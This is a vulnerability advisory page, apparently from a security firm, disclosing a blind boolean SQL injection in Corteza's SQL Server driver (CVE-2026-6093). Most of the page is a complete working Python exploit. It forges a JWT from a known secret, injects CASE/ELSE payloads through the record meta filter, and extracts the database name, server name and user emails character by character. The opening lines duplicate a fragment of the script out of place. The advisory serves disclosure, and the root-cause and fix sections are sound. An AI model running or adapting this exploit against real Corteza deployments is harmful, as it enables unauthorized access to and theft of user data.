{DIM}{label}:{W} {colour}{BOLD}{value}{W}") def main(): print(f"\n{BOLD}{'═'*60}") print(" Corteza MSSQL — Blind Boolean SQL Injection Demo") print(" CVE-2026-6093 · json.go:30 · wrong T-SQL escape") print(f"{'═'*60}{W}") # ── 0. Check environment ──────────────────────────────────────────────────── section("0. Environment check") try: r = requests.get(f"{BASE}/healthcheck", timeout=5) ok = all(line.startswith("PASS") for line in r.text.strip().splitlines()) except Exception: ok = False if not ok: print(f" {R}Corteza not reachable at {BASE}{W}") print(f" Run: docker compose -f docker-compose.mssql.yml up -d") sys.exit(1) print(f" {G}Corteza is up and healthy{W} ({BASE}/healthcheck → all PASS)") # ── 1. Auth ───────────────────────────────────────────────────────────────── section("1. Authentication") step("a", "Generating JWT with known AUTH_JWT_SECRET (HS512)") token = make_token() print(f" {DIM}token:{W} {token[:45]}…") step("b", "Verifying token against API") r = requests.get(f"{BASE}/compose/namespace/", timeout=10, headers={"Authorization": f"Bearer {token}", "Accept": "application/json"}) if r.status_code != 200: print(f" {R}Token invalid: {r.status_code}{W}") sys.exit(1) print(f" {G}Authenticated as [email protected]{W}") # ── 2. Setup test data ────────────────────────────────────────────────────── section("2. Setup — namespace, module, 3 records (meta=NULL)") ns, mod = setup(token) print(f" namespace : {ns}") print(f" module : {mod}") print(f" records : 3 inserted (meta column is NULL on all)") # ── 3. Baseline ───────────────────────────────────────────────────────────── section("3. Baseline — normal meta filter") step("a", "Request: meta={\"safeKey\": \"value\"}") n, err = query_records(token, ns, mod, "safeKey", "value") result("records returned", n) result("sql error", err or "none") print(f"\n {G}→ HTTP 200, 0 records — filter works normally{W}") # ── 4. Injection proof ────────────────────────────────────────────────────── section("4. SQL Injection — boolean control") step("a", "Condition TRUE: LEN(db_name()) > 5 → should return records") n_true, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 5 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_true, highlight=(n_true > 0)) step("b", "Condition FALSE: LEN(db_name()) > 100 → should return 0") n_false, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 100 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_false, highlight=(n_false > 0)) if n_true > 0 and n_false == 0: print(f"\n {R}{BOLD}✅ SQL INJECTION CONFIRMED{W}") print(f" {DIM}Attacker controls which rows SQL Server returns{W}") else: print(f"\n {Y}⚠ Unexpected result — check environment{W}") # ── 5. Blind boolean extraction ───────────────────────────────────────────── section("5. Data extraction — blind boolean, character by character") print(f" {DIM}Technique: binary search on ASCII(SUBSTRING(expr, pos, 1)){W}\n") targets = [ ("DB name", "db_name()"), ("Server name", "@@SERVERNAME"), ("First user", "SELECT TOP 1 email FROM users ORDER BY id"), ] extracted = {} for label, sql_expr in targets: step("→", f"Extracting: {C}{label}{W} via {DIM}{sql_expr}{W}") val = extract_string(token, ns, mod, sql_expr) extracted[label] = val result(label, val, highlight=True) time.sleep(0.3) # ── 6. Summary ─────────────────────────────────────────────────────────────── print(f"\n{BOLD}{'═'*60}") print(" EXTRACTION RESULTS") print(f"{'═'*60}{W}") for label, val in extracted.items(): print(f" {Y}{label:<15}{W} {R}{BOLD}{val}{W}") print(f"\n{BOLD}{'─'*60}") print(" ROOT CAUSE") print(f"{'─'*60}{W}") print(f" File {C}server/store/adapters/rdbms/drivers/mssql/json.go:30{W}") print(f" Bug {R}strings.ReplaceAll(path, \"'\", `\\'`){W}") print(f" Fix {G}strings.ReplaceAll(path, \"'\", \"''\"){W}") print(f" Also {Y}ParseMeta JSON path skips handle.IsValid key validation{W}
#!/usr/bin/env python3 """ Corteza MSSQL Blind Boolean SQL Injection ====================================================== Vulnerability : server/store/adapters/rdbms/drivers/mssql/json.go:30 Root cause : wrong T-SQL escape (\' instead of '') + JSON key bypasses handle.IsValid Technique : blind boolean injection via CASE ELSE branch """ import sys import time import uuid import json import subprocess import warnings import requests # ── Config ───────────────────────────────────────────────────────────────────── BASE = "http://localhost:8080" MSSQL_CONTAINER = "corteza-mssql-1" DB = "corteza_triage" JWT_SECRET = "triage-testing-secret-do-not-use-in-prod" JWT_ALGORITHM = "HS512" # ── ANSI ─────────────────────────────────────────────────────────────────────── R = "\033[31m" G = "\033[32m" Y = "\033[33m" B = "\033[34m" M = "\033[35m" C = "\033[36m" W = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" def _sqlcmd(q): r = subprocess.run( ["docker","exec", MSSQL_CONTAINER, "/opt/mssql-tools18/bin/sqlcmd", "-S","localhost","-U","sa","-P","Admin1234!","-C", "-d", DB, "-Q", q], capture_output=True, text=True ) return r.stdout def make_token(): try: import jwt as pyjwt except ImportError: print("pip3 install PyJWT --break-system-packages") sys.exit(1) out = _sqlcmd(f""" SELECT u.id, rm.rel_role, ac.id FROM users u JOIN role_members rm ON rm.rel_resource = 'corteza::system:user/' + CAST(u.id AS VARCHAR) JOIN auth_clients ac ON ac.handle = 'webapp' WHERE u.email = '[email protected]' """).strip() ids = None for line in out.splitlines(): parts = line.split() if len(parts) == 3 and parts[0].isdigit(): ids = parts break if not ids: print(f"{R}Cannot find user/role/client in DB{W}") sys.exit(1) user_id, role_id, client_id = ids now = int(time.time()) atid = str(uuid.uuid4()) payload = { "jti": atid, "sub": user_id, "roles": [role_id], "clientID": client_id, "scope": "profile api", "iss": "", "iat": now, "exp": now + 86400, } with warnings.catch_warnings(): warnings.simplefilter("ignore") token = pyjwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) _sqlcmd(f""" DELETE FROM auth_oa2tokens WHERE rel_user = {user_id} AND user_agent = 'demo'; INSERT INTO auth_oa2tokens (id,code,access,refresh,data,remote_addr,user_agent,rel_client,rel_user,created_at,expires_at) VALUES ( CAST(RAND()*9000000000000000000+1000000000000000000 AS BIGINT), '{atid}', '{atid}', '', '{{}}', '127.0.0.1', 'demo', {client_id}, {user_id}, GETDATE(), DATEADD(day,1,GETDATE()) ); """) return token def api(method, path, token, **kw): h = {"Authorization": f"Bearer {token}", "Accept": "application/json", "Content-Type": "application/json"} return requests.request(method, f"{BASE}{path}", headers=h, timeout=15, **kw) def setup(token): run_id = str(int(time.time()))[-6:] r = api("POST", "/compose/namespace/", token, json={"name": f"SQLi Demo {run_id}", "slug": f"sqli-demo-{run_id}", "enabled": True}) ns = r.json()["response"]["namespaceID"] r = api("POST", f"/compose/namespace/{ns}/module/", token, json={"name": "Records", "handle": "demo-records", "fields": [{"name": "note", "kind": "String"}], "meta": {}}) mod = r.json()["response"]["moduleID"] for i in range(1, 4): api("POST", f"/compose/namespace/{ns}/module/{mod}/record/", token, json={"values": [{"name": "note", "value": f"record {i}"}]}) return ns, mod def query_records(token, ns, mod, key, val="x"): """Run meta filter and return (record_count, error_message).""" meta = json.dumps({key: val}) r = api("GET", f"/compose/namespace/{ns}/module/{mod}/record/", token, params={"meta": meta}) d = r.json() err = d.get("error", {}).get("message", "") rec = len(d.get("response", {}).get("set", [])) return rec, err def blind(token, ns, mod, sql_condition): """Returns True if sql_condition evaluates to truthy in SQL Server.""" key = (f"foo') ELSE CASE WHEN {sql_condition} " f"THEN 1 ELSE 0 END END > 0) AND 1=1)--") count, _ = query_records(token, ns, mod, key) return count > 0 def extract_string(token, ns, mod, sql_expr, max_len=64): """Extract a SQL string expression via blind boolean char-by-char.""" result = "" for pos in range(1, max_len + 1): # Binary search on ASCII code of char at position pos lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 cond = f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) > {mid}" if blind(token, ns, mod, cond): lo = mid + 1 else: hi = mid if lo <= 32 or lo > 126: break result += chr(lo) # Live output print(f"\r {DIM}extracting...{W} {G}{BOLD}{result}{W}", end="", flush=True) print() return result # ── Demo sections ────────────────────────────────────────────────────────────── def section(title): print(f"\n{BOLD}{B}{'─'*60}{W}") print(f"{BOLD}{B} {title}{W}") print(f"{BOLD}{B}{'─'*60}{W}\n") def step(n, text): print(f" {BOLD}{Y}[{n}]{W} {text}") def result(label, value, highlight=False): colour = R if highlight else G print(f" {DIM}{label}:{W} {colour}{BOLD}{value}{W}") def main(): print(f"\n{BOLD}{'═'*60}") print(" Corteza MSSQL — Blind Boolean SQL Injection Demo") print(" CVE-2026-6093 · json.go:30 · wrong T-SQL escape") print(f"{'═'*60}{W}") # ── 0. Check environment ──────────────────────────────────────────────────── section("0. Environment check") try: r = requests.get(f"{BASE}/healthcheck", timeout=5) ok = all(line.startswith("PASS") for line in r.text.strip().splitlines()) except Exception: ok = False if not ok: print(f" {R}Corteza not reachable at {BASE}{W}") print(f" Run: docker compose -f docker-compose.mssql.yml up -d") sys.exit(1) print(f" {G}Corteza is up and healthy{W} ({BASE}/healthcheck → all PASS)") # ── 1. Auth ───────────────────────────────────────────────────────────────── section("1. Authentication") step("a", "Generating JWT with known AUTH_JWT_SECRET (HS512)") token = make_token() print(f" {DIM}token:{W} {token[:45]}…") step("b", "Verifying token against API") r = requests.get(f"{BASE}/compose/namespace/", timeout=10, headers={"Authorization": f"Bearer {token}", "Accept": "application/json"}) if r.status_code != 200: print(f" {R}Token invalid: {r.status_code}{W}") sys.exit(1) print(f" {G}Authenticated as [email protected]{W}") # ── 2. Setup test data ────────────────────────────────────────────────────── section("2. Setup — namespace, module, 3 records (meta=NULL)") ns, mod = setup(token) print(f" namespace : {ns}") print(f" module : {mod}") print(f" records : 3 inserted (meta column is NULL on all)") # ── 3. Baseline ───────────────────────────────────────────────────────────── section("3. Baseline — normal meta filter") step("a", "Request: meta={\"safeKey\": \"value\"}") n, err = query_records(token, ns, mod, "safeKey", "value") result("records returned", n) result("sql error", err or "none") print(f"\n {G}→ HTTP 200, 0 records — filter works normally{W}") # ── 4. Injection proof ────────────────────────────────────────────────────── section("4. SQL Injection — boolean control") step("a", "Condition TRUE: LEN(db_name()) > 5 → should return records") n_true, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 5 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_true, highlight=(n_true > 0)) step("b", "Condition FALSE: LEN(db_name()) > 100 → should return 0") n_false, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 100 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_false, highlight=(n_false > 0)) if n_true > 0 and n_false == 0: print(f"\n {R}{BOLD}✅ SQL INJECTION CONFIRMED{W}") print(f" {DIM}Attacker controls which rows SQL Server returns{W}") else: print(f"\n {Y}⚠ Unexpected result — check environment{W}") # ── 5. Blind boolean extraction ───────────────────────────────────────────── section("5. Data extraction — blind boolean, character by character") print(f" {DIM}Technique: binary search on ASCII(SUBSTRING(expr, pos, 1)){W}\n") targets = [ ("DB name", "db_name()"), ("Server name", "@@SERVERNAME"), ("First user", "SELECT TOP 1 email FROM users ORDER BY id"), ] extracted = {} for label, sql_expr in targets: step("→", f"Extracting: {C}{label}{W} via {DIM}{sql_expr}{W}") val = extract_string(token, ns, mod, sql_expr) extracted[label] = val result(label, val, highlight=True) time.sleep(0.3) # ── 6. Summary ─────────────────────────────────────────────────────────────── print(f"\n{BOLD}{'═'*60}") print(" EXTRACTION RESULTS") print(f"{'═'*60}{W}") for label, val in extracted.items(): print(f" {Y}{label:<15}{W} {R}{BOLD}{val}{W}") print(f"\n{BOLD}{'─'*60}") print(" ROOT CAUSE") print(f"{'─'*60}{W}") print(f" File {C}server/store/adapters/rdbms/drivers/mssql/json.go:30{W}") print(f" Bug {R}strings.ReplaceAll(path, \"'\", `\\'`){W}") print(f" Fix {G}strings.ReplaceAll(path, \"'\", \"''\"){W}") print(f" Also {Y}ParseMeta JSON path skips handle.IsValid key validation{W}
Evidence of Exploitation
Validated in the local environment at http://localhost:8080 running Corteza 2024.9.8 against SQL Server 2022 (Developer Edition, container mcr.microsoft.com/mssql/server:2022-latest).
Video of exploitation:

Static evidence:

Our security policy
We have reserved the ID CVE-2026-6093 to refer to this issue from now on.
System Information
Corteza
Version 2024.9.8
Operating System: Any
References
Github Repository: https://github.com/cortezaproject/corteza
Security: https://github.com/cortezaproject/corteza/security
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team using the AI SAST Scanner.
Timeline
Vulnerability discovered
Vendor contacted
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Products
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Products
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Products
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.






